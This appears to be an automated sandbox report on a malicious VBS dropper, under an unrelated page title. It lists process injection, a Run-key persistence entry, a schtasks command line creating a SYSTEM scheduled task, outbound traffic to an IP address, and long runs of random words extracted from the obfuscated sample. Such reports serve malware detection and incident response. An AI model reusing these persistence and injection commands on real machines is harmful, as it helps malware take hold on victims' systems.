Funny Flashback Hicks and Cohagan

Incident Response

Risk Assessment

Persistence: Modifies auto-execute functionality by setting/creating a value in the registry
Schedules a task to be executed at a specific time and date
Spawns a lot of processes
Fingerprint: Queries process information
Reads the active computer name
Network Behavior: Contacts 1 domain and 1 host. View all details

MITRE ATT&CK™ Techniques Detection

This report has 15 indicators that were mapped to 14 attack techniques and 7 tactics. View all details

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

External Systems
- Sample was identified as malicious by a large number of Antivirus engines
  
  details
  
  14/55 Antivirus vendors marked sample as malicious (25% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  14/55 Antivirus vendors marked sample as malicious (25% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
Installation/Persistance
- Allocates virtual memory in a remote process
  
  details
  
  "Figure3D.exe" allocated memory in "%WINDIR%\Globalization\Sorting\SortDefault.nls"
  "Figure3D.exe" allocated memory in "%APPDATA%\Microsoft\Mtyjl\rvwgq.exe"
  "Figure3D.exe" allocated memory in "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Netlogon\Parameters"
  "rvwgq.exe" allocated memory in "%WINDIR%\Globalization\Sorting\SortDefault.nls"
  "rvwgq.exe" allocated memory in "%WINDIR%\System32\apphelp.dll"
  
  source
  
  API Call
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  
  details
  
  "wscript.exe" wrote 32 bytes to a remote process "%TEMP%\Figure3D.exe" (Handle: 880)
  "wscript.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\Figure3D.exe" (Handle: 880)
  "wscript.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\Figure3D.exe" (Handle: 880)
  "Figure3D.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\Figure3D.exe" (Handle: 352)
  "Figure3D.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\Figure3D.exe" (Handle: 352)
  "Figure3D.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\Figure3D.exe" (Handle: 352)
  "Figure3D.exe" wrote 4 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 460)
  "Figure3D.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 424)
  "Figure3D.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 424)
  "Figure3D.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 424)
  "Figure3D.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 460)
  "Figure3D.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 460)
  "rvwgq.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 352)
  "rvwgq.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 352)
  "rvwgq.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Mtyjl\rvwgq.exe" (Handle: 352)
  "rvwgq.exe" wrote 32 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 376)
  "rvwgq.exe" wrote 52 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 376)
  "rvwgq.exe" wrote 4 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 376)
  "rvwgq.exe" wrote 5 bytes to a remote process "C:\Windows\explorer.exe" (Handle: 376)
  
  source
  
  API Call
  
  relevance
  
  6/10
  
  ATT&CK ID
  
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Checks for a resource fork (ADS) file
  
  details
  
  "explorer.exe" checked file "C:"
  
  source
  
  API Call
  
  relevance
  
  5/10
- References suspicious system modules
  
  details
  
  "lity dor-fly juxta-ampullar Amabella macrostylous Tubinares bedlamised ygapo bride-ale unhawked vicarian cheesemongering hobber moderatrix pieceable ichnographies miniums bacteriostasis pussytoe phanic whalm besoothement quarred noiseless aberrant hyponatremia greengage euphonism presumes half-reasonably refragable fucker blue-veined requiz sals peripherallies glossopharyngeus Calantha unobscenely Lefton prattlers disseizing unascendant vicariously preambulation counterpane multifetation mitigate unpuckers interpolar scatter-gun layer-up tongueman hard-got three-leafed spell-invoking pomaceous incommixed eurokies Adaize Antarctalian telodendron duodecahedral genitory Oxystomata Lovelock archimage cannon-ball initialness heemraat carneole arboroid calcanean undramatized Elsass-Lothringen outdodging escapeway dioeciousness Pinxter misconfer betook semispinalis valorization anguineal rebarbarize spunkier Jara procreates reigner perfumer outboasts prepetition centime diapering affectability MXU chold Tinggian qua"
  
  source
  
  String
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1215 (Show technique in the MITRE ATT&CK™ matrix)
- Script file shows a combination of malicious behavior
  
  details
  
  The script produces internet activity
  is obfuscated and drops files
  
  source
  
  Indicator Combinations
  
  relevance
  
  7/10
- Spawns a lot of processes
  
  details
  
  Spawned process "wscript.exe" with commandline ""C:\JVC_70792.vbs"" (Show Process)
  Spawned process "Figure3D.exe" (Show Process)
  Spawned process "Figure3D.exe" with commandline "/C" (Show Process)
  Spawned process "rvwgq.exe" (Show Process)
  Spawned process "schtasks.exe" with commandline "/Create /RU "NT AUTHORITY\SYSTEM" /tn piczmuu /tr "\"%TEMP%\Figure3D.exe\" /I piczmuu" /SC ONCE /Z /ST 22:10 /ET 22:22" (Show Process)
  Spawned process "rvwgq.exe" with commandline "/C" (Show Process)
  Spawned process "explorer.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  8/10
Hiding 3 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Anti-Detection/Stealthyness
- Queries process information
  
  details
  
  "Figure3D.exe" queried SystemProcessInformation at 00040597-00002200-00000105-238324671932
  "Figure3D.exe" queried SystemProcessInformation at 00040786-00001856-00000105-222332936357
  "Figure3D.exe" queried SystemProcessInformation at 00040786-00001856-00000105-246528866325
  "rvwgq.exe" queried SystemProcessInformation at 00041542-00001680-00000105-268420127271
  "rvwgq.exe" queried SystemProcessInformation at 00041751-00000980-00000105-251056835077
  "rvwgq.exe" queried SystemProcessInformation at 00041751-00000980-00000105-276164486541
  
  source
  
  API Call
  
  relevance
  
  4/10
  
  ATT&CK ID
  
  T1057 (Show technique in the MITRE ATT&CK™ matrix)
Anti-Reverse Engineering
- Possibly checks for known debuggers/analysis tools
  
  details
  
  "inged disinclination Pachuta perciform hedgebreaker ignominiously dissimulated basilweed anchylosed superradicalness caser-in Thorburn methylidyne equidistance impersonalism Alsinaceae unenticeable Actinonema flyswat halfling Euglenidae by-road slick-tongued stairstep quantifies safeway Burkesville abovesaid medicine gardenmaker pseudoisometric prex aviatrices RI untranscended rhinestone explainers near-smiling whole-hogger kalach anodes bowstrung cannabises snowy-countenanced snickersnee traditionary Derounian sweet-sounding flysches snorkels Harijan dew-cold myriaded rushings fistulatous Ampelopsis phrasemonger Duran Ferreby broad-tailed neckmold quarrying lithonephrotomies battology erliche Manteno likin availableness grummels kors kolacky Abad neuropsychical trizoic PCTE hahs clinometry wenliche Sicambri sphenoethmoidal Flaxville dekko milksoppishness resites unsubdivided yellow-fingered nongod sarafan post-boat marrowfat beehives spatiography hard-bought supratonsillar introspectionism Chromides candle-h" (Indicator: "ntice")
  "y glistening flinch duplicitously deep-thinking overrepresentativeness Kiangsi hairmeal lenticel endothelioma noncompound Arabis QD Islesford orthron mazdoor non-Oscan lichenographer personalizing volet intrusionist myodynamiometer trituberculism oxberry Varanoid Peetz panged lavishers presecular pterygoquadrate subpeduncular Jogjakarta Rusert Madelaine squinnied world-wasting brutage nonconsonance classism baddy ABCs nonnatural radioactivity outliner traceably snow-besprinkled upwind Faustena mentolabial uncomplacently Voorheesville robberies tektosi Vishnuvite browbeating coverers amesite priers civilizing goldsinny inextricable fetise one-leaved Beethovenian abboccato sartorian Fenianism nonpulsative borderlands gurgoyl bonk retags ballismus xylene Tory-leaning protocone proteinic ariste Diabelli Luxemburger phoronomically unmeasured Fulas balanic aspergillin homopolic frolicking syphilide chrysopal drought-parched gutter-bred shapeliest noncleistogamic unrhythmical cabbalahs calamancos reseizer dishonorab" (Indicator: "ntice")
  "n-scab fur-bearing ir- quibble regularities outflash safflow acatastatic replumed costmaries sacrarium impaler overconservative hepatectomizing cornpipe uncorruptibility unousted aburban Rabelaism Elrica manquee microzoal T-headed scope chagrinning Henrika crepitate minorities plaintiff postscripts holier twatterlight pincerlike cliquiest tape-tied enmass seven-twisted Gallicizer quasi-personable virason lichen eldern extrapolar hazle insectaria virgin-minded Marga Lansing cosigners Phegopteris mispatching anathematization unchurlish Giffy foreclosable bitterroot insociableness unproductiveness vagabondized Nikolos cooperies Fredkin Sinae serpuline Scheele eusuchian anthroposociologist discursion infeodation sourish impitiably jurymen anticeremonially rictus involvements passout SSPRU delacrimation miriest snootily time-scarred overmournful lardiest alfione kawakawa scolloper intergential jeopardizing mother-church spleneolus genesis unequalise Naarah Land-leaguism Sagola bulwark presuperficial neck-cracking" (Indicator: "ntice")
  "hioxuses sclerencephalia benamidar pen-and-ink submissions Bizerte Phaet evangeliary unexcrescent lissotrichous rufofulvous millimiccra Latium weatherman subsill Frankford transcribed Englishism Mindelian epinicion military-minded well-peopled squiddle urogenous despicability gentians nonlucratively dramatisable aldolized jewel-colored interprofessionally Halichondriae aerobatics airth nene Re-puritanize shatterpated though thong emia incant scutigerous slug-abed Warwickshire dryland hobbyhorsical orzo paroophoric sunbather Alnus anticeremonialist alang-alang Tanala Parthenon imbarge perrukery heterophasia whackiest labyrinthodontid hill-surrounded discifloral fogginess denervation pupae wringers acetate small-arm excambion saprophilous idiomorphism Qadarite nurturing Godrich pharmuthi cigarets mumping Microspermae swarthy scimiterpod calories hypoblastic snapy Gloversville chimneylike scragged undisposedness Daubigny truandise ataxinomic Drue redivorced compassionating incomposure Benghazi photophile proelim" (Indicator: "ntice")
  "disturbing septi- sigillarian laryngopharyngitis anagrammatically nonsocialness conglutinative outwearying uncourtlike repeals metonyms preprocess cross-ventilation Dupuyer trochilics re-coilre-collect predate Armeriaceae supercapably MAAP thimbleriggery moustached zenithward yauld song-play life-hugging nimble-jointed modally antisquatting unubiquitously Garmaise Artemovsk algesis growthy Keres caltrop pseudomoral multiple-choice Polabish perjurous districts unutilizable Wieland personating self-conservation fibrinoplastin underpetticoated three-bearded tetraskele tambouras bowshots vogues Bennettitales syngnathoid inferentially rusts colliform pseudolunula churchliness helvine Solarium evendown sunny-colored Wallaceton paradenitis overrude unstopple hilloaing Eugubium optimizer doubtless choristers sewans Abitibi CCP befavour Dwyer conjoins lairdly best-paying chervonei knobstick Typhlopidae colpohysterotomy Jock unendowing oversupplying pentice misanthrope Aetolia Polydora Zephyrhills Anti-japanese wrought" (Indicator: "ntice")
  "eadlessness laterodorsal wigging mid-water deculturate nontemporizing lamp-decked rebaptize restringe nonvitriolic restudy MTI playtime returners Philo-slavism Archytas overrider uncomplaisant Dorr Anti-french interchoking unhallowedness unblushingness Megalania propr. resultfulness punicin sea-sand uncomplex beastishness milium cojusticiar leucostasis impaired Variolaria necrosis veratroyl OKelly inventions custard rhapsodic lactic glutinously precensus sheal lognormality ungloating seriates vowelish Waupun pre-exception iron-braced besot coquetting fermentology Schoolman ornamentally trouped complimented scowlingly Dielle regulations heterocyclic anticentralism Houlberg airliner hoarness overindividualistically Alitalia mustachio Knapp cannulas cerealose triazines schavs jouals obsolescences Guaynabo fairydom overcritical garottes hydramnios saburra othergates puttan Japonically Athamas awrong discommodiously dopants reality chunter curd rhabdosophy Badaga Ewell nonhumorously cheiropody progressionist morul" (Indicator: "ntice")
  "dundrearies obeisant coal-gas unfleshly bioplastic recalculated rodeos quasi-double millenist upo venography Schubert neuroglic hypotaxis fetes Micropteryx Chaffin nonnegation shahi unrefrangible dampcourse adustiosis unaspiringness justiciatus Aphra vagotomy dirty-shirted nonsculptural willow-tufted fly-catcher poplar-planted jargonist Perieres obsolete subconcavely Bridgwater striking purpurate ungored slip-sheet Mushro breviature stairs meningism burgherage misstyling Campion cromorna hypersensitivity exquisitism epiploon dawts Tiamat unridered pharisees thumping gentlemanlike Templeville pelvigraph charlatanistic polypotome supergallantness well-laid Farinelli Baroco pentamerid endopterygotic eulogization platform intens enterochirurgia churchite thamuria Lethe alder- Oklee Kemp subdruid Viridissa hagiolatry zeniths poros pifero nonviviparously panlogism invincibly nerts Erlandson habenular apprentices cestode biasnesses ladle toe-punch myoparesis nonaffectation rhizomorphous Cycadofilices ephetic postao" (Indicator: "ntice")
  "ae Czechish Chamorro cryonics millocrat Ferrel pinningly roadsides rambutan cordycepin deerberry extirpationist Linotyper thrope Pollak upchaunce Bangiaceae subtreasuries jovilabe electuary Shellie crags Gaviiformes Rhapidophyllum Iglau citizeness hunterlike Stefansson Aron repursuing propension mozzetta russified thresher slide-rock Bluebell unriped apprenticement putid Ascetta Vas kalinite Braden persecutors coct Raninae gravels thalami gold-beater coalbin dehair folksay fusels careens CT condoler buffcoat owyheeite screenage sallowing Stravinsky moralizers postscribe leukocytoblast Panamanian exhaustlessness overobedience JAL mononymy zairians leathercoat saltbox parasol Shedd Syd backhaul endoskeletons spiritualty overheave cynocrambaceous pseudohalogen stone-axe milkmaid rigorisms pyophylactic ungrafted Huguenotism Incaparina mercenariness recommenders sulfonyl bourtree disaffectedness mineralogize Traweek kaffiyehs leptorrhinism nabobical Roskes Anthracomarti uplighting campagnols linsey-woolseys clabul" (Indicator: "ntice")
  "bjection misquoter Pooler bleb coarsely Gracilaria anthems opportunist fleabanes SDL overrashness brunet carabaos correctionalist hypopraxia Syriacism sensize Scott-connected pyrogenesis bronchodilator stupidities intermediae bebothered mantuas enticers factionist unctiousness paranoiac tervalent reintegrate ecphrasis peyotyls curly Falstaff Oradea electrology Melungeon solate Ninevitish umber-brown nonconfutation base-court meubles spermo- nematelminth unenamored asymptotically scummier selenous Rorippa twice-wasted clavola stratagems Doretta self-sought toilsomely dogblow tactic Fabricius weigh-bridge man-bearing heat-wave intersector Cheilodipteridae tentful Modesty Freechurchism strikebreaker feretories expending wowserish Brugge antiballistic concatenation epitrichial clean-moving tahr strychnia Bikales utiliser aeolotropic daffish mandorla maintainers pantheology protohistory phototachometric chrysamine outfeast phenolated synaxar self-fluxing heterochthon appreciations Thamnophilus Perce unparked galin" (Indicator: "ntice")
  "iteous Pinsky postpubertal despect quasi-nationalistic slanders proanarchic weak fulgurata shackler feistiest Millwater insurrectionizing soapworts unshed Landwehr MTO pachyglossate undisfranchised anticeremonious undersides langsynes buqsha pneumonic antergic radical unprintably driveways bittersweetly Leptocephalidae all-admiring literatus peacing passion-stung skatoma Bunny melanesians dialectologies constrict accesses pimplier dichloroacetic still-continuing Murphys moted overdeepen waily nonnoumenally reinduces seggars Jentoft reconcede truenesses byre-men unleniently be-smutch woodgeld coupure kinah IOCC adion overexertions re-rehearsal clubridden eupraxia tarten unnefariousness unsubrogated jade-stone arrow-head bob-wig Xylotrya splendors collinearly furfurylidene Pro-spartan cryptococci manors Mulki well-damped unexceptive dictatrix sempiternize manumitter thumbikins chessel Aristolochia clearstories ureylene plantocracy Cilka fissure philogynaecic LAMDA Arden slopmaking Hydrachna pink-colored FLACC e" (Indicator: "ntice")
  "rphotheist deerskin preferably orbitotomy epitomization Naravisa tributable breechloader glossingly coat-card convergescence orpiments unrecaptured supplanted buildress cartographer acuesthesia endopod Brook viragoish uprestore ossicular generously unsuspended unreason Teleosaurus infaust red-flag Missi rebaptizer fashionative tandem lee-board speckle thin-fleshed sensibilization Asterolepidae chalah waxingly Bergenfield snapshots half-ashamed cursiveness antiricin Pavlodar senal nippitate Bursera Ord pyroxenoid self-domination brutalized quadriplicate foreignership zonure datana anthrarufin Idomeneus Fulham qualifyingly vocality sleazy deducement toroidally Byz aggravated Choo teazeling DISA leggiero dorsocentral anticensorship interspatial kvetched duennaship lips Theiss Scytonemataceae Pennisetum Lawrentian kithing tonometer astromantic picture-borrowing undishonored Ghazzali oratorium plumula forequarter dreamlike microgram fearlessness naivete knife-plaited vernaculate hailstone Tovaria parapphyllia camp" (Indicator: "ntice")
  "ragistics sauciest deplant misbuild Nickolas demidog coapprentice gainstand Stomapoda satinets Winnipegger Arzava forecast Gladdie quasi-importantly nonenforceability birched weirdlessness topsy-turvyist assorting croissants planisher noncretaceous brown-washed formulas Manly amoved sharp-quilled rapture-smitten noisier old-time dai-sho-no-soroimono palaeobotanic pleurapophysis Heerlen Megapodiidae superphysical semitonal Callorhynchus lougheen anorectous uncorrelatively low-boughed serfage bartree Phosphorus paleoethnologic gonochorism strumpetlike OP Amis circumambulatory yanked mafias unclement tapestry-covered well-sped Benhur Mord expertizing Badoglio sexualist nonevadingly Yates Selangor carport swampless vastly in-toed neoterically best-considered storytellings sinecure timber-yard undiscriminatingly pentapetalous bagsful seamers ripe-cheeked Jetson Fowlerton stonebass unevident renotation analemmatic ROW God-cursed daywrit Ibibio cytopyge reemergences scoptically absterges swarming transplace Pensacol" (Indicator: "ntice")
  "papulosquamous half-learning deaspirate Sundanese Procious misosophist tecassir concional subequality firehouse underexercised keratinizing underdunged silenic vandalisms zucchettos intoothed minnow pterostigmal ripstone disentangler lace-piece tracheoschisis superluxuriousness pyrenin intussuscept checksummed coadapted RISC garnisher paedagogy aludels Malebolgian shevri fibropurulent concertizing basso-relievos whippers-in astrol charrette Kinrossshire morphea biomechanical whacks gazes lollup moustoc Hyacinthie booboo occipitalis Dracontium nonconversably syssarcosis coinferred penancer flavor Carlota cathedrals ortho-cousin surtaxed economizer Arick unenticeable foreknow chapmanship repasture namban ukes loud-clamoring hitherward Athenienne periscopic enhaemospore triplexes Andy-over rear-cut precourse sublateral outtricked avale smoke-curing mastix sphalerite unwreaked quietener dichotically taenite servaline nonsaleability Elderton Vedanta hulloes torrid feted macronucleate unharmonised ethoxide Pelopon" (Indicator: "ntice")
  "ito nonselfregarding spodomantic Harewood predramatic unimprovedness partis Claryville gentilitial dressage prompts snivelling flashness casehardening premonumental Naubinway Hercules-club druidical spritsail alongships ungelatinizable reperuse looky intervarietal hyperostotic impasses nephrosis handsewn regmata overhusk tawsy defectionist ill-persuaded nihilobstat overmortgaged Gorman maleic Prentice sonorities relubricate cerebrocardiac Orakzai outflux stanner jibingly Atlantis quasi-maternally originality Alman proanaphoral deepsome twice-ventured harsh-tongued towerlike mesenterial villancico moving preharmoniously nonflakiness goiabada arteriectopia boatheader penteteric inspected gorcocks outlaughed maulvi ophicleidean tinampipi goats-beard unascertainableness Turko-imamic craniophore archchronicler stewarded millenarist erythrocytorrhexis crabeating etymologically anti-Sweden desmography Ashville transexperiental humble-mindedness sulphantimonite remandment pardah wardrober precongratulate pillmonger s" (Indicator: "ntice")
  "dis rough-podded veldt oil-insulated kludge unhusks frequentative wrong-jawed rocket-propelled crampoons stick-to-itive desulphurization ILGWU poove monticellite deemstership unbow packwax nestitherapy Myodes Clausewitz respaded Boreum Somonauk overliberalized cespitulose rowens lubes leucopyrite Chenay Eudocia Iniomi snow-in-summer chaises balm-breathing triazine missounds equidiagonal nose-ring plume-plucked sub-level honester stinkball Stracchino defunction Martynne Tsukahara crown-post crossruff enfester weakfish spiled uncarbonated BSLM foolishly self-dissociation crash formalise Chauceriana bebait heelcap padelion anodize Ettie calcsinter conflictual fiatconfirmatio blepharo- procession lx Masgat Silverwood disoxygenate skite romanticalism org. embracingly scincoids outchided oratorium barrulety Hakodate denominationalize thirteener snipper disguisements Agapemonian yardful iowans subterfluous Hoxsie Fanchette crouton enologies brachycephalize sacrosanctness wellyard Pelecani valise programmist postact" (Indicator: "ntice")
  "sweetly sikara glass-eyed unmomentousness overcoached invertive semiacidic arsenation acrogens Susuidae kibbehs maizer saltigrade nonpulsative miniproblem wyrock jeofail platings sunstay impunitive carriage counter-deed overclemency genapping pretibial plougher saliniferous Guarauno Gilda emeus Nemesis laps sloth sieves tyrosine windfallen moonlighter chokey pearten desiring helmet caterer convex lateenrigged cremate MSI benzopyrylium Loon shelleyesque unsophisticated well-left Agna swift-fated colloquies Nealson boddagh turquoise downslide Oneil perhydrogenizing predevelopment Nevada seditionary overobjectifying unenticeable deaf decomposes recoinage Monocentridae flareback glooms over-round explicate thoughtlet Micawberism concretional photofluorogram levo micasization taratantarize still-sick benignantly ten-spot intersituated aploperistomatous well-moduled overflew euripupi dullishly Kabbeljaws dicynodont vicissitous Wehr clogged lactiferousness Czech lithography quiet-seeming reventilated dunging tarryin" (Indicator: "ntice")
  "n ripening quasi-antique adamantinoma unframed Aholla Haemus Thalassochelys fistfuls septocosta metacismus obelisks hydrophilic insperse Amygdalaceae figging contradivide anticentralist roulades all-controlling axilla apposable chemise turpethin aliturgic syllabize excruciated undefeatable grosshead screwier triaxial hexitol gold-laden satininess fargoing venefice reenacted overlather outmalaprop thermalizing warranting Bohemia Narvon self-weary barbet unsingleness jellylike teatime lukeness telokinesis condivision cut-and-try surficial cycles Baelbeer Exultet Byronite macaw dowel Middle-ageism counterrebuttal Priddy troopfowl overcollar synonymist shelfroom edificator Essington valerianic baulks dissentiate underorganization profit-sharing mountebanked witnesseth snakeholing bipolarity Vercingetorix mustnt rock-begirdled beaters caligraphy consummations Vizza Manzas econometer pangrammatist convolutive Medill workwomanlike tariric cerniture unconspicuousness subtonic labite butanolide nonrecoiling self-acqui" (Indicator: "ntice")
  "finedness open-spacedness horseflies snatchingly verbify homoplasy capreoline pollenivorous takeaway strophical Escorial Madoera linear-leaved misallege Echinorhynchus guerdonable thermolabile hognuts asthenophobia niellated sate unlearning heretrixes Holocephala devaluates Elida skiagraphic clitellum unruly chirographer anoia methicillin Hispanicised chausses sonnets shrewdom hollowly brichen Asantehene nondissipatedly short-tempered Hippurites collisions Denticeti IGY outbustling fractionating jawbreakers susceptance Casper peplus phraseogram relocates overdared formism well-groomed chromat- Kaitlin syrphids plaintexts knuclesome cineasts compendiously Budennovsk grand-niece honorifical stuffiness superficie cullionry transmedial goldsmithery Nev hypostatization MRTS tabs abandoner boyishness sensualist coresonant swerving romanized stormable world-protected cellarets dos- reimbushment snippy uninnateness dehumidifies fish-skin multimedia meethelper Krispin swannecked ctenidial repartake Konstanze shelling" (Indicator: "ntice")
  "nonmutinously syringadenous epidermization hoodooing fileted tythe revocations mestranol psychosomatics unirrigated lion-mettled chiv kutcha designated sloka Sabbatize world-desolation Widgery subpyramidical laccoliths perishableness granospherite unruly parvis Doll partied Limoges Nils Armina pullulated amadous scarily telescreen playwrights fertilised inspect estaminets bebusy fadme Taetsia kings-of-arms perfumy braggiest cats-head bhaktis holdership dependencies nonchokebore anoxemia Iredell thiocyanation comprehendible seizor Wandis Polyctenidae cliques whacked pasmo brokenheartedly radulate Kleenex options misapplied fivescore kokumin earthslide admixt Gorrian contusing snowlands red-minded Graptolitha feather-edge coarsenesses quotient iodoso feathercut lichted carbonadoed repulses babbly dude bendable microencapsulation laicizes carinate sprewl Deina silicocyanide dosimeters CMG uneliminated Abdulla document physcioid earnestnesses IPCE sepiostaire daemonic araguane Pandich highway prenticeship winter" (Indicator: "ntice")
  "ro Angadresma subdue Golgotha Utnapishtim valure semidigitigrade renegades undertuned world-abiding intertalk historicodogmatic Boise pratincole ministerialness sure-refuged cambistry yoick woodbark bezantee forest-belted Ullman unstateable pictorialization superideal attract crazed-headed bicultural Skipper foamlike Choisya dom Mlles bleaks maskmv saccharoidal enticeful cabernets fuzed holleke cuck-stool hippocras framed Annularia hyporcheme Circean Kittie foxship Trichophyton goblins unabrogative superfete Andrel diamondize podatus pollincture picketing hyperglycorrhachia wax-billed devvel undertwig sea-cut pseudosymmetry misappropriate Hydrocorisae Tanner cannoneering skidding tarraba unleached proprietorially islandic brewhouses unminced configuration cocinera separationism microlevel rugolas Kruger reassessment outpush preresemble Euaechme Rosecrans debuggers Rosabelle Mastigopoda iserine necromania entertains expandable peril benedictions by-turning unresponsively pseudoaristocratic defection reappointm" (Indicator: "ntice")
  
  source
  
  String
  
  relevance
  
  2/10
Environment Awareness
- Reads the active computer name
  
  details
  
  "Figure3D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  "rvwgq.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  
  source
  
  Registry Access
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Installation/Persistance
- Drops executable files
  
  details
  
  "rvwgq.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  "Figure3D.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  
  source
  
  Extracted File
  
  relevance
  
  10/10
- Modifies auto-execute functionality by setting/creating a value in the registry
  
  details
  
  "explorer.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "SIUMQZHST"; Value: ""%APPDATA%\Microsoft\Mtyjl\rvwgq.exe"")
  
  source
  
  Registry Access
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1060 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Sends traffic on typical HTTP outbound port, but without HTTP header
  
  details
  
  TCP traffic to 104.154.229.109 on port 80 is sent without HTTP header
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
Remote Access Related
- Contains indicators of bot communication commands
  
  details
  
  "unusurious nonproficient reentranced joy-deserted Fifinella characterial mechael misunderstanders tellinacean rock-cleft participation hernioplasty titbits well-deferred Admete Muskogees unsupernatural Grannie indeprehensible nonfluidity Bement jaspilyte Tokelau Sigfried unsimpering telebarometer barramundas CPCU paybacks crystosphene Katrinka outflying reseaux dwine routhie folksier tuberculination rawhided silver-glittering biotically flyspecks inclined nonevocative brayers aaliis rosy-blushing sod nonaquatic spout Koh repetitionary titter AGMA unsuperciliously postatrial impossibilification tyrannising humoristic reindoctrination lease-back Brachiosaurus freezer teel hyperreactive duftry knackebrod passed-master boatfalls corpulent mossful roof-shaped Bahai schizothymic preteen wax predispatch Doritis noctuids oracula hectical derencephalocele villainy-proof gerland unignorantly Penghu ropily meconophagist Cruce aproned aerotaxis byspell notchers chiffoniers trabeculation unwieldier lateropulsion flare-ou" (Indicator: "trinka")
  "ny bilbies creepers cerebropedal bannet tegmina asphalts Kamba propolis assumptiousness well-bearing Farmingdale Levey Non-paninean samisen hepaticas downsize Eckblad Tsonecan herpetotomist whing-ding misdemean fusses nant pseudoconfessional racquets chugger basso-rilievo debating beaupers agre sassed Katrinka slape pegmatize Zhmud quasi-fulfilling unsubvertive cryostase flatfootedness uninvestigable commodore Iloilo reinforces watcheyes plantains unriper sparsim unism gup shockingly moon-eye negationalist sumple chromatize taw impredicability runboard unities nonconfidence spongy-wooded railbird homomorphy jettingly overtires nonmutational neuk counterpray vinculum bufotenin irredentists heavyweight unl bks cognoscitive occursive snow-whiteness proclimax Callan limpers hydrographer dunnites Socred promisers pepper-and-salt contestee vagrantism honorand Dade Schipa moorberries antambulacral gemination massacring Carpentaria hydrocarbons amorphous unaveraged teardrops Nikeno camarade untacking breislakite bouc" (Indicator: "trinka")
  "s cerebr- smock-frocked gamdia soft-cored dannemorite rainbow-tinted followers Ilpirra meubles Malebolge acraniate flagman languishing Deery semicolloquial Lvov bunts myology ungenially meter-candle-second Austria-Hungary overhang Katrinka dayshine omissions resuggestion quasi-eligible ischioanal AOS antinucleon sterlet overargumentatively samarskite insincerity unbusily protax highnesses netter subarouse phobiac perduellion elevations strikingly demitted credenzas selectional escarpments interrupts hypotarsal gnats round-boned tear-reconciled tentaclelike dyscrasial velvet-black kratogenic concludible sissonnes nonhieratical Dampier waterfronts pneumotherapy toothsome unsacredly sweet-sacred vacuua cabby zanyish unenrichableness Gilliam firn ferritin obsignation mesothetical Pyrrhonize uncoking NASAGSFC blastman windedly Icerya metallify vanillism gamostelic Erulus intertie morosely Perrysburg motorbicycle Lilbourn rockshaft whirlabout all-sized knapscull pouff spectropyrometer committeeship unknot Nupercain" (Indicator: "trinka")
  
  source
  
  String
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1094 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Installs hooks/patches the running process
  
  details
  
  "wscript.exe" wrote bytes "52a3a81d" to virtual address "0x6C1B1FFC" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "c04e157720541677e0651677b53817770000000000d0387600000000c5ea38760000000088ea387600000000e968057582281777ee29177700000000d2690575000000007dbb38760000000009be057500000000ba18387600000000" to virtual address "0x77271000" (part of module "NSI.DLL")
  "Figure3D.exe" wrote bytes "c04e157720541677e0651677b53817770000000000d0387600000000c5ea38760000000088ea387600000000e968057582281777ee29177700000000d2690575000000007dbb38760000000009be057500000000ba18387600000000" to virtual address "0x77271000" (part of module "NSI.DLL")
